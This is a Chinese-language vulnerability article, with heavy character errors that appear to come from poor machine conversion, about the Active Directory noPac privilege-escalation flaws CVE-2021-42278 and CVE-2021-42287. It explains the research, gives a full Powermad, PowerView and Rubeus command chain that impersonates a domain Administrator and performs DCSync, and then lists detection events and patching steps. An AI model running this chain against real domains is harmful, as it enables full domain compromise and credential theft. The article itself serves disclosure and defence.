破绽描绘

Microsoft Windows Active Directory 域效劳权限提升破绽（CVE-2021-42287，CVE-2021-42278）的细节和应用工具在互联网上公开。该破绽是由于应用程序没有对 Active Directory 域效劳停止恰当的平安限制，招致绕过平安限制和权限提升。攻击者能够应用这两个破绽将域内的普通用户权限提升到域管理员权限。

Active Directory主要提供以下功用：
①效劳器及客户端计算机管理：管理效劳器及客户端计算机账户
②用户效劳：管理用户域账户、用户信息、企业通讯录（与电子邮件系统集成）、用户组管理、用户身份认证、用户受权等
③资源管理：管理打印机、文件共享效劳等网络资源。
④桌面配置：系统管理员能够集中的配置各种桌面配置战略。
⑤应用系统支撑：支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种应用系统。

CVE-2021-42278
破绽等级：高危（7.5）
破绽类型：权限提升
破绽描绘：Microsoft Windows Active Directory 域效劳存在特权提升破绽，该破绽是由于Active Directory 域中机器账户的名字应该以`$`结尾，但是Active Directory域没有对此做出考证，从而能够绕过平安缓解机制。攻击者能够配合CVE-2021-42287破绽完成权限提升。

CVE-2021-42287
破绽等级：高危（7.5）
破绽类型：权限提升
破绽描绘：Microsoft Windows Active Directory 域效劳存在特权提升破绽，该破绽是由于应用程序没有对Active Directory域效劳停止平安限制。当攻击者经过创立与机器账户用户名相同的机器账户（不以$结尾），配合CVE-2021-42278破绽可完成域内用户权限提升。
 

---

 

影响范围

CVE-2021-42287
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

CVE-2021-42278
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)

 

---

 

破绽复现

POC
https://github.com/cube0x0/noPac

Microsoft 对 CVE-2021-42287 的描绘中的文字，该文字似乎是基于 TGT 在没有 PAC 的状况下发布的想法。这招致我修正 Rubeus以允许在没有 PAC 的状况下恳求 TGT。

在 Ceri 调试 Windows KDC 和我们发掘泄露的 XP 源代码后，我们确信要触发代码途径，我们需求向下（在恳求短少 PAC 的 TGT 时将 PAC 插入 ST）需求跨域S4U2self 但无法让它工作。当运用没有 PAC 的 TGT 恳求效劳票证 (ST) 时，我们能够让 DC 添加 PAC 的独一办法是配置altSecurityIdentities。

此过程触及将外部域中帐户的altSecurityIdentities属性修正为Kerberos:[samaccountname]@[domain]以模仿该用户。

所以下面你能够看到本地域（internal.zeroday.lab）的低权限用户（internal.user）在不同域（external.zeroday.lab）的高权限用户（external.admin）上具有GenericAll：

作为这个用户，我们能够将本人添加到altSecurityIdentities属性中，如下所示：

如今我们能够从本地 DC 获取 TGT 并运用新/nopac交流机在没有 PAC 的状况下恳求它：

这招致明显较小的 TGT。然后我们运用该 TGT从我们的本地 DC恳求对目的域 ( external.zeroday.lab )的援用：

然后，该引荐可用于恳求 ST 在我们的目的域 ( external.zeroday.lab )上提供效劳。在这里，我为LDAP/EDC1.external.zeroday.lab DC 的 LDAP 效劳恳求 ST ：

与之前的 2 张票相比，ST 的大小十分大，这是由于（正如我们将看到的）添加了 PAC。如下面的klist输出所示，此 ST 用于原始用户internal.user，它在任一域上都没有特殊权限：

但是，运用此 ST，我们能够 DCSync：

所以这里发作的事情是 DC 曾经在本地数据库中搜索了该帐户，但没有找到它，所以它然后搜索以查看能否有任何帐户在其AltSecurityIdentities属性中列出了此帐户，external.admin这样做是由于我们添加了它更早，假如是这样，DC 添加一个属于该帐户的 PAC。这能够运用 Rubeus 的describe命令和我们刚刚 DCsync 的 AES256 密钥来考证：

我们如今effectly具有的特权external.admin用户external.zeroday.lab域。

CVE-2020-25719
Samba 信息，并引导我找到了CVE-2020-25719和这个补丁。特别惹起我留意的是这一段：
有权创立其他用户或机器帐户的委派管理员能够滥用票证发出时间和呈现时间（返回 AD DC）之间的竞争来模仿不同的帐户，包括高特权帐户。
忽然我认识到要使本地查找失败，我们不需求攻击外部域，而是可能在检索 TGT 后删除帐户。
我开端尝试运用与本地 DC 相同的机器帐户命名（减去$），恳求 TGT（依然没有 PAC），删除机器帐户并运用该 TGT。我留意到一些有趣的事情。
当将此无 PAC 的 TGT 与 U2U 恳求一同运用但未提供额外票证时，无法解密生成的 ST：

U2U ST 应该运用提供的 TGT 内的会话停止加密，但由于我没有提供额外的票证，我以为这是尝试依据我设置为IDC1的sname查找帐户，即我如今丧失的机器的 samaccountname帐户。我有一个想法，尝试运用域控制器的长期密钥解密这个 ST，我在 (IDC1$) 之后命名我的机器帐户：

有效！它胜利地解密了 ST，只是找不到 PAC，由于那里没有。我运用 S4U2self 尝试了同样的事情并得到了相同的结果，DC 正在寻觅我的IDC1帐户，没有找到它然后搜索相同但在最后添加一个$，找到域控制器帐户并运用它加密票证键替代。

当时我依然无法弄分明为什么它没有添加 PAC，所以我决议尝试运用 PAC 而不是没有 PAC 来恳求初始 TGT，并且令人诧异的是它起作用了！因而，显然没有必要在没有 PAC 的状况下恳求 TGT，为具有 DC 的 samaccountname 减去$的帐户提供具有 PAC 的 TGT 以恳求 S4U2self 票证，当初始帐户不再存在时，结果在 ST 中运用 DC 的密钥停止加密。

能够依据Alberto Solino在此处的帖子修正生成的 ST 的称号。因而，它可用于针对目的框上的任何效劳停止身份考证，即便是受拜托维护的用户，正如Elad Shamir在Wagging the Dog的处理敏感问题局部所述。

最后要处理的问题是我们如何从低权限用户那里取得处于这种状态的机器帐户，由于到目前为止我不断以管理员身份手动修正机器帐户。谢天谢地，凯文·罗伯逊( Kevin Robertson ) 在Macine 帐户配额上发表的惊人帖子帮了大忙。它解释了机器帐户的创立者能够控制各种属性，包括samAccountName和ServicePrincipalName。我遇到的另一个问题是尝试更改 samaccountname，由于尝试将其更改为与 DC 相同的减去$，我收到以下错误：

正如凯文在他的帖子中提到的：
假如您修正 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 属性，SPN 列表将自动更新为新值。

所以它试图设置的 SPN 曾经是属于目的 DC 的 SPN。Ceri 倡议在更改 samaccountname 之前删除 SPN，这很有效。

最后，直到如今我在恳求 TGT（需求管理员权限）后删除机器帐户，我必需测试禁用它或重命名它能否也有效。禁用它会招致DC 在恳求 S4U2self 但重命名它时返回S_PRINCIPAL_UNKNOWN错误。

 

---

 

检查能否可应用

要应用此破绽需求 3 件事，至少 1 个 DC 未修补KB5008380或KB5008602、任何有效的域用户帐户和大于 0 的机器帐户配额 (MAQ)。

肯定 DC 能否已打补丁十分容易。运用我额外的/nopac切换到 Rubeus' asktgt，恳求一个没有 PAC 的 TGT，假如 DC 容易遭到攻击，它看起来像下面这样：

查看返回的TGT的大小。假如 DC 不易遭到攻击，TGT 将如下所示：

尺寸差别立刻明显。接下来要检查的是 MAQ：

默许状况下它是10，但能够更改，高于0 的任何内容都能够。最后，我们需求检查默许状况下授予经过身份考证的用户的SeMachineAccountPrivilege：

应用

第一步是创立一个我们能够用于攻击的机器帐户（我创立的帐户称为TestSPN$）。凯文的Powermad能够很好地处理这个问题：

在此之后，PowerView的的Set-DomainObject能够用来肃清机器帐户的SPN：

能够运用 Powermad 来更改机器帐户的 samaccountname Set-MachineAccountAttribute（这里我将其更改为IDC1，由于 DC 的 samaccountname 是IDC1$）：

asktgt能够应用Rubeus '为新创立的机器帐户恳求 TGT（这只是我们刚刚创立的机器的普通 TGT，但运用的是新的 samaccontname）：

Set-MachineAccountAttribute 能够再次用于更改机器帐户 samaccountname （要么恢恢复状或完整其他内容，都没有关系）：

重命名机器帐户后，如今能够运用检索到的 TGT 恳求 S4U2self 票证并取得运用 DC 密钥加密的 ST，同时我们能够将票证中的sname重写为 LDAP 效劳：

在这里，我模仿了 DC 上 LDAP 效劳的管理员用户。值得留意的是，这能够是域中任何系统上任何效劳上的任何用户。

票据已胜利注入LSA，如下图：

如今能够运用该票证停止 DCSync：

我运转的命令如下所示：

# Create Machine Account
New-MachineAccount -MachineAccount TestSPN -Domain internal.zeroday.lab -DomainController idc1.internal.zeroday.lab -Verbose

# Clear SPNs
Set-DomainObject "CN=TestSPN,CN=Computers,DC=internal,DC=zeroday,DC=lab" -Clear 'serviceprincipalname' -Verbose

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "IDC1" -Attribute samaccountname -Verbose

# Request TGT
.Rubeus.exe asktgt /user:IDC1 /password:Password1 /domain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /nowrap

# Change Machine Account samaccountname
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

# Request S4U2self
.Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:idc1.internal.zeroday.lab /self /altservice:LDAP/IDC1.internal.zeroday.lab /ptt /ticket:[TGT]

 

 

---

 

机器账户创立

首先，有一个到 LDAP 的入站衔接的5156事情以创立机器帐户，关于这个事情 ID

紧随其后的是4673事情，这是SeMachineAccountPrivilege的用法：

以及一个4741事情，描绘了机器账户的创立：

还有一个4724事情，关于新创立的机器账号密码重置：

 

肃清 SPN

接下来，当从机器帐户中删除 SPN 时，能够看到4742事情，这将显现关于效劳主体称号字段，如下所示：

 

更改 SamAccountName

一个4742事情也将显现在SAM帐户称号发作变化，并且新称号将在显现SAM帐户称号字段：

更有趣的是，4781事情将同时显现旧帐户名和新帐户名：

 

获取 TGT

检索 TGT 时，将显现4768事情，有趣的是Account Name字段将显现帐户的新称号，而User ID字段将显现旧称号：

然后帐户称号更改再次发作在上面提到的 2 个事情中。

 

S4U2self

最后，正如 Elad 在他的 Wagging the Dog 帖子中提到的，事情4769触发了，但是，这一次，Account Name和Service Name之间显现了一些差别，而Service Name字段具有正确的机器帐户称号，Account Name短少尾随美圆 ( $ )：

 

---

 

处置倡议

官方处理计划来防护此破绽
Microsoft已在11月平安更新中发布了官方补丁KB5008602、KB5008380，Windows效劳器管理员经过Windows自动更新即可修复。
 

1、Windows自动更新

Windows系统默许启用 Microsoft Update，当检测到可用更新时，将会自动下载更新并在下一次启动时装置。还可经过以下步骤快速装置更新：

（1）点击“开端菜单”或按Windows快捷键，点击进入“设置”
（2）选择“更新和平安”，进入“Windows更新”（Windows Server 2012和Windows Server 2012 R2可经过控制面板进入“Windows更新”，步骤为“控制面板”-> “系统和平安”->“Windows更新”）
（3）选择“检查更新”，等候系统将自动检查并下载可用更新
（4）重启计算机，装置更新

系统重新启动后，可经过进入“Windows更新”->“查看更新历史记载”查看能否胜利装置了更新。关于没有胜利装置的更新，能够点击该更新称号进入微软官方更新描绘链接，点击最新的SSU称号并在新链接中点击“Microsoft 更新目录”，然后在新链接当选择适用于目的系统的补丁停止下载并装置。

 
 

2、手动装置补丁

关于不能自动更新的系统版本（如Windows Server 2008、Windows Server 2008 R2），可参考以下链接下载适用于该系统的补丁并装置：

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278

 

------本页内容已结束，喜欢请分享------

感谢您的来访，获取更多精彩文章请收藏本站。